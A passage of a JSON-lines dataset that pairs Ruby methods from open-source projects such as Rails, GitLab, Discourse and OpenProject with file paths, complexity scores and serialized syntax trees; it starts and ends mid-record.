end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pool\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sidekiq_redis_pool\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_sidekiq_options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pool\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"redis_pool\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"client_class\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sidekiq_client_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_sidekiq_options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"client_class\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Client\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pool\"]},{\"type\":\"lvar\",\"children\":[\"pool\"]}]}]}]}]}]}","id":"49c75d3d-bf1b-4d0f-bf83-5fb08a91a18c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/clients/search_repos.rb","start_line":11,"raw_source":"def count_repos_by_relation_type_graphql(options)\n graphql_request(count_by_relation_type_query(options))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"count_repos_by_relation_type_graphql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"graphql_request\",{\"type\":\"send\",\"children\":[null,\"count_by_relation_type_query\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"8adfe564-eb57-41e2-8b7b-d2a44ae4f516"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/matchers/link_handlers/hash_separator.rb","start_line":61,"raw_source":"def render_version\n version = Version.find_by(id: oid)\n if version\n link_to h(version.name),\n { only_path: context[:only_path], controller: \"/versions\", action: \"show\", id: version },\n class: \"version\"\n end\n end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"render_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"oid\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[null,\"h\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"/versions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"version\"]}]}]}]},null]}]}]}","id":"caea1b54-c831-40ef-854c-3edad3b13043"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":254,"raw_source":"def variant_inline_syntax_without_block\n respond_to do |format|\n format.js\n format.html.none\n format.html.phone\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"variant_inline_syntax_without_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"js\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},\"none\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},\"phone\"]}]}]}]}","id":"99792a9d-8a4f-4f1e-b824-d297e79a09ad"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/issues/move_service.rb","start_line":54,"raw_source":"def update(issue, issue_modification_params)\n ::Issues::UpdateService.new(container: issue.project, current_user: current_user, params: issue_modification_params).execute(issue)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]},{\"type\":\"arg\",\"children\":[\"issue_modification_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issues\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"issue_modification_params\"]}]}]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]}","id":"aa947232-9186-431c-90a3-c41390ea68cc"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/storages/oauth_access_granted_modal_component.rb","start_line":54,"raw_source":"def title\n I18n.t(\"storages.oauth_access_granted_modal.storage_admin.access_granted_screen_reader\",\n storage: storage.name)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.oauth_access_granted_modal.storage_admin.access_granted_screen_reader\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]},\"name\"]}]}]}]}]}","id":"87d11412-891a-45dd-bedc-c0bb866591f3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/entity.rb","start_line":296,"raw_source":"def validate_bulk_import_organization_matches\n return if bulk_import.nil? || organization.nil? || bulk_import.organization == organization\n\n errors.add(:organization_id, _(\"must match the bulk import organization's ID\"))\n end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_bulk_import_organization_matches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_import\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_import\"]},\"organization\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"organization\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"must match the bulk import organization's ID\"]}]}]}]}]}","id":"18de6232-97c9-4331-b84d-e12983ba8bec"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/policies/issue_policy_spec.rb","start_line":25,"raw_source":"def permissions(user, issue)\n described_class.new(user, issue)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]}","id":"e3939e4b-dffe-4a94-9941-542222cd4b59"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/digestor_test.rb","start_line":16,"raw_source":"def flatten\n [self] + children.flat_map(&:flatten)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"flatten\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"self\",\"children\":[]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"flatten\"]}]}]}]}]}","id":"c40d442b-e2c8-4f00-a6ee-77f98605e9e8"} {"repo_name":"puma","file_path":"./repos/puma/test/helper.rb","start_line":77,"raw_source":"def self.call(host = '127.0.0.1')\n TCPServer.open(host, 0) do |server|\n server.connect_address.ip_port\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"host\",{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TCPServer\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server\"]},\"connect_address\"]},\"ip_port\"]}]}]}","id":"7d978365-1a40-4c36-b759-65373326db72"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/rss/channel.rb","start_line":46,"raw_source":"def item(&block)\n @root << RSS::Item.with(&block)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"item\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSS\"]},\"Item\"]},\"with\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"7bf0f2d5-cdcb-477d-887d-85922b437f87"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/signal_exception.rb","start_line":205,"raw_source":"def allow(method_name, node)\n each_command_or_kernel_call(method_name, node) { |send_node| ignore_node(send_node) }\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"allow\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_command_or_kernel_call\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"send_node\"]}]},{\"type\":\"send\",\"children\":[null,\"ignore_node\",{\"type\":\"lvar\",\"children\":[\"send_node\"]}]}]}]}","id":"31af2376-37ed-4e27-adae-290c56c801d1"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/settings_change.rb","start_line":7,"raw_source":"def key_path\n key.to_s.split(\"/\").drop(1).collect(&:to_sym)\n end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"key_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"drop\",{\"type\":\"int\",\"children\":[1]}]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]}","id":"7f2d3cb5-0357-4659-bf32-725474ea388c"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/base_listener.rb","start_line":17,"raw_source":"def extract_message_and_account(event)\n message = event.data[:message]\n [message, message.account]\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_message_and_account\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"account\"]}]}]}]}","id":"028ebd3e-1156-45ec-80a9-38e1dee15484"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":1402,"raw_source":"def nested_scope\n \"#{path}/:#{nested_param}\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"str\",\"children\":[\"/:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nested_param\"]}]}]}]}","id":"727725ce-7324-4dd6-baf6-0690f59b83c9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/site_setting_update_existing_users.rb","start_line":234,"raw_source":"def self.publish_progress(\n site_setting_name,\n processed_total = 0,\n total_users_to_process = 0,\n modified = nil\n )\n status =\n if modified.empty? || processed_total >= total_users_to_process\n \"completed\"\n else\n \"enqueued\"\n end\n\n progress = modified.empty? ? nil : \"#{processed_total}/#{total_users_to_process}\"\n MessageBus.publish(\n \"/site_setting/#{site_setting_name}/process\",\n status: status,\n progress: progress,\n group_ids: [Group::AUTO_GROUPS[:admins]],\n )\n end","complexity_score":13.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_progress\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"site_setting_name\"]},{\"type\":\"optarg\",\"children\":[\"processed_total\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"total_users_to_process\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"optarg\",\"children\":[\"modified\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modified\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_total\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"total_users_to_process\"]}]}]},{\"type\":\"str\",\"children\":[\"completed\"]},{\"type\":\"str\",\"children\":[\"enqueued\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"progress\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modified\"]},\"empty?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_total\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_users_to_process\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/site_setting/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_setting_name\"]}]},{\"type\":\"str\",\"children\":[\"/process\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"progress\"]},{\"type\":\"lvar\",\"children\":[\"progress\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"admins\"]}]}]}]}]}]}]}]}","id":"cb9f8e15-b7d5-46b1-8002-2aeb2010b2c9"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_policy.rb","start_line":247,"raw_source":"def self.evaluate_conditions_for_policy(target, policy, mode, inputs)\n cond_result = \"allow\"\n clist = []\n policy.conditions.uniq.each do |c|\n unless c.applies_to?(target, inputs)\n # skip conditions that do not apply based on applies_to_exp\n logger.info(\"MIQ(policy-enforce_policy): Resolving policy [#{policy.description}], Condition: [#{c.description}] does not apply, skipping...\")\n next\n end\n\n eval_result = eval_condition(c, target, inputs)\n cond_result = eval_result if eval_result == \"deny\"\n clist.push(c.attributes.merge(\"result\" => eval_result))\n\n break if eval_result == \"deny\" && mode == \"control\"\n end\n [cond_result, clist]\n end","complexity_score":30.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"evaluate_conditions_for_policy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"policy\"]},{\"type\":\"arg\",\"children\":[\"mode\"]},{\"type\":\"arg\",\"children\":[\"inputs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cond_result\",{\"type\":\"str\",\"children\":[\"allow\"]}]},{\"type\":\"lvasgn\",\"children\":[\"clist\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"conditions\"]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"applies_to?\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"inputs\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MIQ(policy-enforce_policy): Resolving policy [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"description\"]}]},{\"type\":\"str\",\"children\":[\"], Condition: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"description\"]}]},{\"type\":\"str\",\"children\":[\"] does not apply, skipping...\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"eval_result\",{\"type\":\"send\",\"children\":[null,\"eval_condition\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"inputs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eval_result\"]},\"==\",{\"type\":\"str\",\"children\":[\"deny\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cond_result\",{\"type\":\"lvar\",\"children\":[\"eval_result\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clist\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"attributes\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"eval_result\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eval_result\"]},\"==\",{\"type\":\"str\",\"children\":[\"deny\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"==\",{\"type\":\"str\",\"children\":[\"control\"]}]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cond_result\"]},{\"type\":\"lvar\",\"children\":[\"clist\"]}]}]}]}","id":"44672c0a-a72d-46f8-baed-0f00fc9698e7"} {"repo_name":"forem","file_path":"./repos/forem/app/services/badges/award_beloved_comment.rb","start_line":5,"raw_source":"def self.call(comment_count = 25)\n new(comment_count).call\n end","complexity_score":3.45,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"comment_count\",{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"comment_count\"]}]},\"call\"]}]}","id":"241bee16-50bb-4f83-a77b-1c72ba009c86"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/explain_test.rb","start_line":10,"raw_source":"def test_explain_for_one_query\n explain = Author.where(id: 1).explain.inspect\n assert_match %r(EXPLAIN SELECT \"authors\"\\.\\* FROM \"authors\" WHERE \"authors\"\\.\"id\" = (?:\\$1 \\[\\[\"id\", 1\\]\\]|1)), explain\n assert_match %(QUERY PLAN), explain\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_explain_for_one_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"explain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"explain\"]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"EXPLAIN SELECT \\\"authors\\\"\\\\.\\\\* FROM \\\"authors\\\" WHERE \\\"authors\\\"\\\\.\\\"id\\\" = (?:\\\\$1 \\\\[\\\\[\\\"id\\\", 1\\\\]\\\\]|1)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"explain\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"QUERY PLAN\"]},{\"type\":\"lvar\",\"children\":[\"explain\"]}]}]}]}","id":"efec7b96-85ae-45eb-b210-a7e953b3d0a5"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":443,"raw_source":"def test_building_the_belonging_object_with_explicit_sti_base_class\n account = Account.new\n company = account.build_firm(type: \"Company\")\n assert_kind_of Company, company, \"Expected #{company.class} to be a Company\"\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_building_the_belonging_object_with_explicit_sti_base_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"account\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"company\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"build_firm\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"Company\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Company\"]},{\"type\":\"lvar\",\"children\":[\"company\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"company\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" to be a Company\"]}]}]}]}]}","id":"e9614f32-780d-4f61-abe0-6dd30c350887"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20241206051225_add_ai_spam_logs.rb","start_line":3,"raw_source":"def change\n create_table :ai_spam_logs do |t|\n t.bigint :post_id, null: false\n t.bigint :llm_model_id, null: false\n t.bigint :ai_api_audit_log_id\n t.bigint :reviewable_id\n t.boolean :is_spam, null: false\n t.string :payload, null: false, default: \"\", limit: 20_000\n t.timestamps\n end\n\n add_index :ai_spam_logs, :post_id\n end","complexity_score":11.75,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"ai_spam_logs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"llm_model_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"ai_api_audit_log_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"reviewable_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"is_spam\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\